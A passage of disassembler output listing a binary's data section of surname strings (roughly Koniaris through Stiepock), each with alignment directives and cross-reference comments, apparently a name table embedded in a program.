'Koniaris',0 ; DATA XREF: _2:004476B8o align 4 aKonrad db 'Konrad',0 ; DATA XREF: _2:004476BCo align 4 aKool db 'Kool',0 ; DATA XREF: _2:004476C0o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: _2:004476C4o align 10h aKotter db 'Kotter',0 ; DATA XREF: _2:004476C8o align 4 aKovaks db 'Kovaks',0 ; DATA XREF: _2:004476CCo align 10h aKraemer db 'Kraemer',0 ; DATA XREF: _2:004476D0o aKrailo db 'Krailo',0 ; DATA XREF: _2:004476D4o align 10h aKrasney db 'Krasney',0 ; DATA XREF: _2:004476D8o aKraus db 'Kraus',0 ; DATA XREF: _2:004476DCo align 10h aKroemer db 'Kroemer',0 ; DATA XREF: _2:004476E0o aKrysiak db 'Krysiak',0 ; DATA XREF: _2:004476E4o aKuenzli db 'Kuenzli',0 ; DATA XREF: _2:004476E8o aKumar db 'Kumar',0 ; DATA XREF: _2:004476ECo align 10h aKusman db 'Kusman',0 ; DATA XREF: _2:004476F0o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: _2:004476F4o align 4 aLa db 'La',0 ; DATA XREF: _2:004476F8o align 4 aLabunka db 'Labunka',0 ; DATA XREF: _2:004476FCo aLafler db 'Lafler',0 ; DATA XREF: _2:00447700o align 4 aLaing db 'Laing',0 ; DATA XREF: _2:00447704o align 10h aLallemant db 'Lallemant',0 ; DATA XREF: _2:00447708o align 4 aLandes db 'Landes',0 ; DATA XREF: _2:0044770Co align 4 aLankes db 'Lankes',0 ; DATA XREF: _2:00447710o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: _2:00447714o align 4 aLanzit db 'Lanzit',0 ; DATA XREF: _2:00447718o align 10h aLaserna db 'Laserna',0 ; DATA XREF: _2:0044771Co aLashley db 'Lashley',0 ; DATA XREF: _2:00447720o aLawless db 'Lawless',0 ; DATA XREF: _2:00447724o aLecar db 'Lecar',0 ; DATA XREF: _2:00447728o align 10h aLecce db 'Lecce',0 ; DATA XREF: _2:0044772Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: _2:00447730o align 4 aLeite db 'Leite',0 ; DATA XREF: _2:00447734o align 4 aLenard db 'Lenard',0 ; DATA XREF: _2:00447738o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: _2:0044773Co align 10h aLesser db 'Lesser',0 ; DATA XREF: _2:00447740o align 4 aLessi db 'Lessi',0 ; DATA XREF: _2:00447744o align 10h aLiakos db 'Liakos',0 ; DATA XREF: _2:00447748o align 4 aLidano db 'Lidano',0 ; DATA XREF: _2:0044774Co align 10h aLiem db 'Liem',0 ; DATA XREF: _2:00447750o align 4 aLight db 'Light',0 ; DATA XREF: _2:00447754o align 10h aLightfoot db 'Lightfoot',0 ; DATA XREF: _2:00447758o align 4 aLim db 'Lim',0 ; DATA XREF: _2:0044775Co aLinares db 'Linares',0 ; DATA XREF: _2:00447760o aLinda db 'Linda',0 ; DATA XREF: _2:00447764o align 10h aLinder db 'Linder',0 ; DATA XREF: _2:00447768o align 4 aLine_0 db 'Line',0 ; DATA XREF: _2:0044776Co align 10h aLinehan db 'Linehan',0 ; DATA XREF: _2:00447770o aLinzee db 'Linzee',0 ; DATA XREF: _2:00447774o align 10h aLippmann db 'Lippmann',0 ; DATA XREF: _2:00447778o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: _2:0044777Co align 4 aLittle db 'Little',0 ; DATA XREF: _2:00447780o align 10h aLitvak db 'Litvak',0 ; DATA XREF: _2:00447784o align 4 aLivernash db 'Livernash',0 ; DATA XREF: _2:00447788o align 4 aLivi db 'Livi',0 ; DATA XREF: _2:0044778Co align 4 aLivolsi db 'Livolsi',0 ; DATA XREF: _2:00447790o aLizardo db 'Lizardo',0 ; DATA XREF: _2:00447794o aLocatelli db 'Locatelli',0 ; DATA XREF: _2:00447798o align 4 aLongworth db 'Longworth',0 ; DATA XREF: _2:0044779Co align 4 aLoss db 'Loss',0 ; DATA XREF: _2:004477A0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: _2:004477A4o aLowenstein db 'Lowenstein',0 ; DATA XREF: _2:004477A8o align 10h aLoza db 'Loza',0 ; DATA XREF: _2:004477ACo align 4 aLubin db 'Lubin',0 ; DATA XREF: _2:004477B0o align 10h aLucas db 'Lucas',0 ; DATA XREF: _2:004477B4o align 4 aLuciano db 'Luciano',0 ; DATA XREF: _2:004477B8o aLuczkow db 'Luczkow',0 ; DATA XREF: _2:004477BCo aLuecke db 'Luecke',0 ; DATA XREF: _2:004477C0o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: _2:004477C4o aLuoma db 'Luoma',0 ; DATA XREF: _2:004477C8o align 10h aLussier db 'Lussier',0 ; DATA XREF: _2:004477CCo aLutcavage db 'Lutcavage',0 ; DATA XREF: _2:004477D0o align 4 aLuzader db 'Luzader',0 ; DATA XREF: _2:004477D4o aMa db 'Ma',0 ; DATA XREF: _2:004477D8o align 10h aMaccormac db 'Maccormac',0 ; DATA XREF: _2:004477DCo align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: _2:004477E0o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: _2:004477E4o align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: _2:004477E8o align 10h aMackenney db 'Mackenney',0 ; DATA XREF: _2:004477ECo align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: _2:004477F0o align 4 aMacy db 'Macy',0 ; DATA XREF: _2:004477F4o align 10h aMadigan db 'Madigan',0 ; DATA XREF: _2:004477F8o aMaggio db 'Maggio',0 ; DATA XREF: _2:004477FCo align 10h aMahony db 'Mahony',0 ; DATA XREF: _2:00447800o align 4 aMaier db 'Maier',0 ; DATA XREF: _2:00447804o align 10h aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: _2:00447808o align 10h aMaisano db 'Maisano',0 ; DATA XREF: _2:0044780Co aMalatesta db 'Malatesta',0 ; DATA XREF: _2:00447810o align 4 aMaller db 'Maller',0 ; DATA XREF: _2:00447814o align 4 aMalova db 'Malova',0 ; DATA XREF: _2:00447818o align 4 aManalis db 'Manalis',0 ; DATA XREF: _2:0044781Co aMandel db 'Mandel',0 ; DATA XREF: _2:00447820o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: _2:00447824o aMantovan db 'Mantovan',0 ; DATA XREF: _2:00447828o align 4 aMarch_0 db 'March',0 ; DATA XREF: _2:0044782Co align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: _2:00447830o align 10h aMarcus db 'Marcus',0 ; DATA XREF: _2:00447834o align 4 aMargalit db 'Margalit',0 ; DATA XREF: _2:00447838o align 4 aMargetts db 'Margetts',0 ; DATA XREF: _2:0044783Co align 10h aMarques db 'Marques',0 ; DATA XREF: _2:00447840o aMartinez db 'Martinez',0 ; DATA XREF: _2:00447844o align 4 aMartochio db 'Martochio',0 ; DATA XREF: _2:00447848o align 10h aMarton db 'Marton',0 ; DATA XREF: _2:0044784Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: _2:00447850o align 4 aMass db 'Mass',0 ; DATA XREF: _2:00447854o align 4 aMatalka db 'Matalka',0 ; DATA XREF: _2:00447858o aMatarazzo db 'Matarazzo',0 ; DATA XREF: _2:0044785Co align 10h aMatsukata db 'Matsukata',0 ; DATA XREF: _2:00447860o align 4 aMattson db 'Mattson',0 ; DATA XREF: _2:00447864o aMauzy db 'Mauzy',0 ; DATA XREF: _2:00447868o align 4 aMay_0 db 'May',0 ; DATA XREF: _2:0044786Co aMazzali db 'Mazzali',0 ; DATA XREF: _2:00447870o aMazziotta db 'Mazziotta',0 ; DATA XREF: _2:00447874o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: _2:00447878o aMccaffery db 'Mccaffery',0 ; DATA XREF: _2:0044787Co align 4 aMccall db 'Mccall',0 ; DATA XREF: _2:00447880o align 10h aMcclearn db 'Mcclearn',0 ; DATA XREF: _2:00447884o align 4 aMcdowell db 'Mcdowell',0 ; DATA XREF: _2:00447888o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: _2:0044788Co aMcfadden db 'McFadden',0 ; DATA XREF: _2:00447890o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: _2:00447894o align 4 aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: _2:00447898o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: _2:0044789Co aMcintosh db 'Mcintosh',0 ; DATA XREF: _2:004478A0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: _2:004478A4o aMclane db 'Mclane',0 ; DATA XREF: _2:004478A8o align 4 aMclaren db 'Mclaren',0 ; DATA XREF: _2:004478ACo aMcnealy db 'Mcnealy',0 ; DATA XREF: _2:004478B0o aMcnulty db 'Mcnulty',0 ; DATA XREF: _2:004478B4o aMeccariello db 'Meccariello',0 ; DATA XREF: _2:004478B8o aMemisoglu db 'Memisoglu',0 ; DATA XREF: _2:004478BCo align 4 aMenzies db 'Menzies',0 ; DATA XREF: _2:004478C0o aMerikoski db 'Merikoski',0 ; DATA XREF: _2:004478C4o align 4 aMerlani db 'Merlani',0 ; DATA XREF: _2:004478C8o aMerminod db 'Merminod',0 ; DATA XREF: _2:004478CCo align 4 aMerseth db 'Merseth',0 ; DATA XREF: _2:004478D0o aMerz db 'Merz',0 ; DATA XREF: _2:004478D4o align 4 aMetelka db 'Metelka',0 ; DATA XREF: _2:004478D8o aMetropolis db 'Metropolis',0 ; DATA XREF: _2:004478DCo align 10h aMeurer db 'Meurer',0 ; DATA XREF: _2:004478E0o align 4 aMichelman db 'Michelman',0 ; DATA XREF: _2:004478E4o align 4 aMiddle db 'Middle',0 ; DATA XREF: _2:004478E8o align 4 aMieher db 'Mieher',0 ; DATA XREF: _2:004478ECo align 4 aMills db 'Mills',0 ; DATA XREF: _2:004478F0o align 4 aMinh db 'Minh',0 ; DATA XREF: _2:004478F4o align 4 aMini db 'Mini',0 ; DATA XREF: _2:004478F8o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: _2:004478FCo aGonzalez db 'Gonzalez',0 ; DATA XREF: _2:00447900o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: _2:00447904o aMittal db 'Mittal',0 ; DATA XREF: _2:00447908o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: _2:0044790Co aModestino db 'Modestino',0 ; DATA XREF: _2:00447910o align 4 aMoeller db 'Moeller',0 ; DATA XREF: _2:00447914o aMohr db 'Mohr',0 ; DATA XREF: _2:00447918o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: _2:0044791Co align 4 aMonque db 'Monque',0 ; DATA XREF: _2:00447920o align 10h aMontilio db 'Montilio',0 ; DATA XREF: _2:00447924o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: _2:00447928o align 4 aMorani db 'Morani',0 ; DATA XREF: _2:0044792Co align 10h aMoreton db 'Moreton',0 ; DATA XREF: _2:00447930o aMorrison db 'Morrison',0 ; DATA XREF: _2:00447934o align 4 aMorrow db 'Morrow',0 ; DATA XREF: _2:00447938o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: _2:0044793Co align 4 aMosher db 'Mosher',0 ; DATA XREF: _2:00447940o align 10h aMosler db 'Mosler',0 ; DATA XREF: _2:00447944o align 4 aMostafavi db 'Mostafavi',0 ; DATA XREF: _2:00447948o align 4 aMotooka db 'Motooka',0 ; DATA XREF: _2:0044794Co aMudarri db 'Mudarri',0 ; DATA XREF: _2:00447950o aMuello db 'Muello',0 ; DATA XREF: _2:00447954o align 4 aMugnai db 'Mugnai',0 ; DATA XREF: _2:00447958o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: _2:0044795Co aMulroy db 'Mulroy',0 ; DATA XREF: _2:00447960o align 4 aMumford db 'Mumford',0 ; DATA XREF: _2:00447964o aMussachio db 'Mussachio',0 ; DATA XREF: _2:00447968o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: _2:0044796Co align 10h aNapolitano db 'Napolitano',0 ; DATA XREF: _2:00447970o align 4 aNardi db 'Nardi',0 ; DATA XREF: _2:00447974o align 4 aNardone db 'Nardone',0 ; DATA XREF: _2:00447978o aNaviaux db 'Naviaux',0 ; DATA XREF: _2:0044797Co aNayduch db 'Nayduch',0 ; DATA XREF: _2:00447980o aNelson db 'Nelson',0 ; DATA XREF: _2:00447984o align 4 aNenna db 'Nenna',0 ; DATA XREF: _2:00447988o align 4 aNesci db 'Nesci',0 ; DATA XREF: _2:0044798Co align 4 aNeuman db 'Neuman',0 ; DATA XREF: _2:00447990o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: _2:00447994o aNewlin db 'Newlin',0 ; DATA XREF: _2:00447998o align 4 aNg db 'Ng',0 ; DATA XREF: _2:0044799Co align 10h aNi_0 db 'Ni',0 ; DATA XREF: _2:004479A0o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: _2:004479A4o align 10h aNickoloff db 'Nickoloff',0 ; DATA XREF: _2:004479A8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: _2:004479ACo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: _2:004479B0o align 4 aNotman db 'Notman',0 ; DATA XREF: _2:004479B4o align 4 aNuzum db 'Nuzum',0 ; DATA XREF: _2:004479B8o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: _2:004479BCo aOgata db 'Ogata',0 ; DATA XREF: _2:004479C0o align 4 aOh db 'Oh',0 ; DATA XREF: _2:004479C4o align 4 aOHagan db 'O',27h,'hagan',0 ; DATA XREF: _2:004479C8o aOldford db 'Oldford',0 ; DATA XREF: _2:004479CCo aOlsen db 'Olsen',0 ; DATA XREF: _2:004479D0o align 10h aOlson db 'Olson',0 ; DATA XREF: _2:004479D4o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: _2:004479D8o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: _2:004479DCo align 10h aOman db 'Oman',0 ; DATA XREF: _2:004479E0o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: _2:004479E4o aOpel db 'Opel',0 ; DATA XREF: _2:004479E8o align 4 aOray db 'Oray',0 ; DATA XREF: _2:004479ECo align 10h aOrfield db 'Orfield',0 ; DATA XREF: _2:004479F0o aOrsi db 'Orsi',0 ; DATA XREF: _2:004479F4o align 10h aOspina db 'Ospina',0 ; DATA XREF: _2:004479F8o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: _2:004479FCo align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: _2:00447A00o align 10h aOtten db 'Otten',0 ; DATA XREF: _2:00447A04o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: _2:00447A08o aOvid db 'Ovid',0 ; DATA XREF: _2:00447A0Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: _2:00447A10o align 4 aPaine db 'Paine',0 ; DATA XREF: _2:00447A14o align 10h aPalayoor db 'Palayoor',0 ; DATA XREF: _2:00447A18o align 4 aPalepu db 'Palepu',0 ; DATA XREF: _2:00447A1Co align 4 aPallara db 'Pallara',0 ; DATA XREF: _2:00447A20o aPalmitesta db 'Palmitesta',0 ; DATA XREF: _2:00447A24o align 4 aPanadero db 'Panadero',0 ; DATA XREF: _2:00447A28o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: _2:00447A2Co align 10h aPantilla db 'Pantilla',0 ; DATA XREF: _2:00447A30o align 4 aPaoletti db 'Paoletti',0 ; DATA XREF: _2:00447A34o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: _2:00447A38o aParris db 'Parris',0 ; DATA XREF: _2:00447A3Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: _2:00447A40o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: _2:00447A44o align 4 aPatefield db 'Patefield',0 ; DATA XREF: _2:00447A48o align 10h aPatrick db 'Patrick',0 ; DATA XREF: _2:00447A4Co aPattullo db 'Pattullo',0 ; DATA XREF: _2:00447A50o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: _2:00447A54o aPavlon db 'Pavlon',0 ; DATA XREF: _2:00447A58o align 4 aPawloski db 'Pawloski',0 ; DATA XREF: _2:00447A5Co align 10h aPaynter db 'Paynter',0 ; DATA XREF: _2:00447A60o aPeabody db 'Peabody',0 ; DATA XREF: _2:00447A64o aPearlberg db 'Pearlberg',0 ; DATA XREF: _2:00447A68o align 4 aPederson db 'Pederson',0 ; DATA XREF: _2:00447A6Co align 4 aPeishel db 'Peishel',0 ; DATA XREF: _2:00447A70o aPenny db 'Penny',0 ; DATA XREF: _2:00447A74o align 4 aPereira db 'Pereira',0 ; DATA XREF: _2:00447A78o aPerko db 'Perko',0 ; DATA XREF: _2:00447A7Co align 4 aPerlak db 'Perlak',0 ; DATA XREF: _2:00447A80o align 10h aPerlman db 'Perlman',0 ; DATA XREF: _2:00447A84o aPerna db 'Perna',0 ; DATA XREF: _2:00447A88o align 10h aPerone db 'Perone',0 ; DATA XREF: _2:00447A8Co align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: _2:00447A90o align 4 aPeters db 'Peters',0 ; DATA XREF: _2:00447A94o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: _2:00447A98o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: _2:00447A9Co align 4 aPettit db 'Pettit',0 ; DATA XREF: _2:00447AA0o align 4 aPfister db 'Pfister',0 ; DATA XREF: _2:00447AA4o aPilbeam db 'Pilbeam',0 ; DATA XREF: _2:00447AA8o aPinot db 'Pinot',0 ; DATA XREF: _2:00447AACo align 4 aPlancon db 'Plancon',0 ; DATA XREF: _2:00447AB0o aPlant db 'Plant',0 ; DATA XREF: _2:00447AB4o align 4 aPlasket db 'Plasket',0 ; DATA XREF: _2:00447AB8o aPlous db 'Plous',0 ; DATA XREF: _2:00447ABCo align 4 aPo db 'Po',0 ; DATA XREF: _2:00447AC0o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: _2:00447AC4o align 4 aPoincaire db 'Poincaire',0 ; DATA XREF: _2:00447AC8o align 10h aPointer db 'Pointer',0 ; DATA XREF: _2:00447ACCo aPoirier db 'Poirier',0 ; DATA XREF: _2:00447AD0o aPolak db 'Polak',0 ; DATA XREF: _2:00447AD4o align 4 aPolanyi db 'Polanyi',0 ; DATA XREF: _2:00447AD8o aPolitis db 'Politis',0 ; DATA XREF: _2:00447ADCo aPoma db 'Poma',0 ; DATA XREF: _2:00447AE0o align 10h aPoolman db 'Poolman',0 ; DATA XREF: _2:00447AE4o aPowers db 'Powers',0 ; DATA XREF: _2:00447AE8o align 10h aPresper db 'Presper',0 ; DATA XREF: _2:00447AECo aPreucel db 'Preucel',0 ; DATA XREF: _2:00447AF0o aPrevost db 'Prevost',0 ; DATA XREF: _2:00447AF4o aPritchard db 'Pritchard',0 ; DATA XREF: _2:00447AF8o align 4 aPritz db 'Pritz',0 ; DATA XREF: _2:00447AFCo align 4 aProietti db 'Proietti',0 ; DATA XREF: _2:00447B00o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: _2:00447B04o align 4 aPuccia db 'Puccia',0 ; DATA XREF: _2:00447B08o align 10h aPugh db 'Pugh',0 ; DATA XREF: _2:00447B0Co align 4 aPynchon db 'Pynchon',0 ; DATA XREF: _2:00447B10o aQuaday db 'Quaday',0 ; DATA XREF: _2:00447B14o align 4 aQuetin db 'Quetin',0 ; DATA XREF: _2:00447B18o align 10h aRabe db 'Rabe',0 ; DATA XREF: _2:00447B1Co align 4 aRabkin db 'Rabkin',0 ; DATA XREF: _2:00447B20o align 10h aRadeke db 'Radeke',0 ; DATA XREF: _2:00447B24o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: _2:00447B28o aRaney db 'Raney',0 ; DATA XREF: _2:00447B2Co align 4 aRangan db 'Rangan',0 ; DATA XREF: _2:00447B30o align 4 aRankin db 'Rankin',0 ; DATA XREF: _2:00447B34o align 4 aRapple db 'Rapple',0 ; DATA XREF: _2:00447B38o align 4 aRayport db 'Rayport',0 ; DATA XREF: _2:00447B3Co aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: _2:00447B40o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: _2:00447B44o align 4 aCunningham db 'Cunningham',0 ; DATA XREF: _2:00447B48o align 4 aReinold db 'Reinold',0 ; DATA XREF: _2:00447B4Co aRemak db 'Remak',0 ; DATA XREF: _2:00447B50o align 4 aRenick db 'Renick',0 ; DATA XREF: _2:00447B54o align 4 aRepetto db 'Repetto',0 ; DATA XREF: _2:00447B58o aResnik db 'Resnik',0 ; DATA XREF: _2:00447B5Co align 4 aRhea db 'Rhea',0 ; DATA XREF: _2:00447B60o align 4 aRichmond db 'Richmond',0 ; DATA XREF: _2:00447B64o align 10h aRielly db 'Rielly',0 ; DATA XREF: _2:00447B68o align 4 aRindos db 'Rindos',0 ; DATA XREF: _2:00447B6Co align 10h aRineer db 'Rineer',0 ; DATA XREF: _2:00447B70o align 4 aRish db 'Rish',0 ; DATA XREF: _2:00447B74o align 10h aRivera db 'Rivera',0 ; DATA XREF: _2:00447B78o align 4 aRobinson db 'Robinson',0 ; DATA XREF: _2:00447B7Co align 4 aRocha db 'Rocha',0 ; DATA XREF: _2:00447B80o align 4 aRoesler db 'Roesler',0 ; DATA XREF: _2:00447B84o aRogers db 'Rogers',0 ; DATA XREF: _2:00447B88o align 4 aRonen db 'Ronen',0 ; DATA XREF: _2:00447B8Co align 4 aRow db 'Row',0 ; DATA XREF: _2:00447B90o aRoyal db 'Royal',0 ; DATA XREF: _2:00447B94o align 10h aRu db 'Ru',0 ; DATA XREF: _2:00447B98o align 4 aRuan db 'Ruan',0 ; DATA XREF: _2:00447B9Co align 4 aRuderman db 'Ruderman',0 ; DATA XREF: _2:00447BA0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: _2:00447BA4o align 4 aRush db 'Rush',0 ; DATA XREF: _2:00447BA8o align 4 aRyu db 'Ryu',0 ; DATA XREF: _2:00447BACo aSabatello db 'Sabatello',0 ; DATA XREF: _2:00447BB0o align 4 aSadler db 'Sadler',0 ; DATA XREF: _2:00447BB4o align 4 aSafire db 'Safire',0 ; DATA XREF: _2:00447BB8o align 4 aSahu db 'Sahu',0 ; DATA XREF: _2:00447BBCo align 4 aSali db 'Sali',0 ; DATA XREF: _2:00447BC0o align 4 aSamson db 'Samson',0 ; DATA XREF: _2:00447BC4o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: _2:00447BC8o aSanna db 'Sanna',0 ; DATA XREF: _2:00447BCCo align 4 aSapers db 'Sapers',0 ; DATA XREF: _2:00447BD0o align 4 aSarin db 'Sarin',0 ; DATA XREF: _2:00447BD4o align 4 aSartore db 'Sartore',0 ; DATA XREF: _2:00447BD8o aSase db 'Sase',0 ; DATA XREF: _2:00447BDCo align 4 aSatin db 'Satin',0 ; DATA XREF: _2:00447BE0o align 4 aSatta db 'Satta',0 ; DATA XREF: _2:00447BE4o align 4 aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: _2:00447BE8o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: _2:00447BECo aSayied db 'Sayied',0 ; DATA XREF: _2:00447BF0o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: _2:00447BF4o align 4 aScepan db 'Scepan',0 ; DATA XREF: _2:00447BF8o align 10h aScharf db 'Scharf',0 ; DATA XREF: _2:00447BFCo align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: _2:00447C00o aScheiner db 'Scheiner',0 ; DATA XREF: _2:00447C04o align 10h aSchiano db 'Schiano',0 ; DATA XREF: _2:00447C08o aSchifini db 'Schifini',0 ; DATA XREF: _2:00447C0Co align 4 aSchilling db 'Schilling',0 ; DATA XREF: _2:00447C10o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: _2:00447C14o aSchossberger db 'Schossberger',0 ; DATA XREF: _2:00447C18o align 4 aSchuman db 'Schuman',0 ; DATA XREF: _2:00447C1Co aSchutte db 'Schutte',0 ; DATA XREF: _2:00447C20o aSchuyler db 'Schuyler',0 ; DATA XREF: _2:00447C24o align 4 aSchwan db 'Schwan',0 ; DATA XREF: _2:00447C28o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: _2:00447C2Co aScovel db 'Scovel',0 ; DATA XREF: _2:00447C30o align 10h aScudder db 'Scudder',0 ; DATA XREF: _2:00447C34o aSeaton db 'Seaton',0 ; DATA XREF: _2:00447C38o align 10h aSeeber db 'Seeber',0 ; DATA XREF: _2:00447C3Co align 4 aSegal db 'Segal',0 ; DATA XREF: _2:00447C40o align 10h aSekler db 'Sekler',0 ; DATA XREF: _2:00447C44o align 4 aSelvage db 'Selvage',0 ; DATA XREF: _2:00447C48o aSen db 'Sen',0 ; DATA XREF: _2:00447C4Co aSennett db 'Sennett',0 ; DATA XREF: _2:00447C50o aSeterdahl db 'Seterdahl',0 ; DATA XREF: _2:00447C54o align 4 aSexton db 'Sexton',0 ; DATA XREF: _2:00447C58o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: _2:00447C5Co aShaikh db 'Shaikh',0 ; DATA XREF: _2:00447C60o align 10h aShakis db 'Shakis',0 ; DATA XREF: _2:00447C64o align 4 aShankland db 'Shankland',0 ; DATA XREF: _2:00447C68o align 4 aShanley db 'Shanley',0 ; DATA XREF: _2:00447C6Co aShar db 'Shar',0 ; DATA XREF: _2:00447C70o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: _2:00447C74o aShavelson db 'Shavelson',0 ; DATA XREF: _2:00447C78o align 4 aShea db 'Shea',0 ; DATA XREF: _2:00447C7Co align 10h aSheats db 'Sheats',0 ; DATA XREF: _2:00447C80o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: _2:00447C84o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: _2:00447C88o align 10h aShepstone db 'Shepstone',0 ; DATA XREF: _2:00447C8Co align 4 aShesko db 'Shesko',0 ; DATA XREF: _2:00447C90o align 4 aShia db 'Shia',0 ; DATA XREF: _2:00447C94o align 4 aShibata db 'Shibata',0 ; DATA XREF: _2:00447C98o aShimon db 'Shimon',0 ; DATA XREF: _2:00447C9Co align 4 aSiesto db 'Siesto',0 ; DATA XREF: _2:00447CA0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: _2:00447CA4o aSigini db 'Sigini',0 ; DATA XREF: _2:00447CA8o align 4 aSigna db 'Signa',0 ; DATA XREF: _2:00447CACo align 4 aSilverman db 'Silverman',0 ; DATA XREF: _2:00447CB0o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: _2:00447CB4o align 4 aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: _2:00447CB8o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: _2:00447CBCo aSites db 'Sites',0 ; DATA XREF: _2:00447CC0o align 10h aSkane db 'Skane',0 ; DATA XREF: _2:00447CC4o align 4 aSkerry db 'Skerry',0 ; DATA XREF: _2:00447CC8o align 10h aSkoda db 'Skoda',0 ; DATA XREF: _2:00447CCCo align 4 aSloan db 'Sloan',0 ; DATA XREF: _2:00447CD0o align 10h aSlowe db 'Slowe',0 ; DATA XREF: _2:00447CD4o align 4 aSmilow db 'Smilow',0 ; DATA XREF: _2:00447CD8o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: _2:00447CDCo aSnodgrass db 'Snodgrass',0 ; DATA XREF: _2:00447CE0o align 4 aSocolow db 'Socolow',0 ; DATA XREF: _2:00447CE4o aSolon db 'Solon',0 ; DATA XREF: _2:00447CE8o align 4 aSomers db 'Somers',0 ; DATA XREF: _2:00447CECo align 4 aSommariva db 'Sommariva',0 ; DATA XREF: _2:00447CF0o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: _2:00447CF4o align 4 aSorg db 'Sorg',0 ; DATA XREF: _2:00447CF8o align 4 aSottak db 'Sottak',0 ; DATA XREF: _2:00447CFCo align 4 aSoukup db 'Soukup',0 ; DATA XREF: _2:00447D00o align 4 aSoule db 'Soule',0 ; DATA XREF: _2:00447D04o align 4 aSoultanian db 'Soultanian',0 ; DATA XREF: _2:00447D08o align 10h aSpanier db 'Spanier',0 ; DATA XREF: _2:00447D0Co aSparrow db 'Sparrow',0 ; DATA XREF: _2:00447D10o aSpaulding db 'Spaulding',0 ; DATA XREF: _2:00447D14o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: _2:00447D18o aSpence db 'Spence',0 ; DATA XREF: _2:00447D1Co align 4 aSperber db 'Sperber',0 ; DATA XREF: _2:00447D20o aSpicer db 'Spicer',0 ; DATA XREF: _2:00447D24o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: _2:00447D28o align 4 aSpiliotis db 'Spiliotis',0 ; DATA XREF: _2:00447D2Co align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: _2:00447D30o aStmartin db 'StMartin',0 ; DATA XREF: _2:00447D34o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: _2:00447D38o aStam db 'Stam',0 ; DATA XREF: _2:00447D3Co align 4 aStang db 'Stang',0 ; DATA XREF: _2:00447D40o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: _2:00447D44o align 4 aStates db 'States',0 ; DATA XREF: _2:00447D48o align 4 aStatlender db 'Statlender',0 ; DATA XREF: _2:00447D4Co align 4 aStefani db 'Stefani',0 ; DATA XREF: _2:00447D50o aSteiner db 'Steiner',0 ; DATA XREF: _2:00447D54o aStephanian db 'Stephanian',0 ; DATA XREF: _2:00447D58o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: _2:00447D5Co aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: _2:00447D60o align 10h aStiepock db 'Stiepock',0 ; DATA XREF: 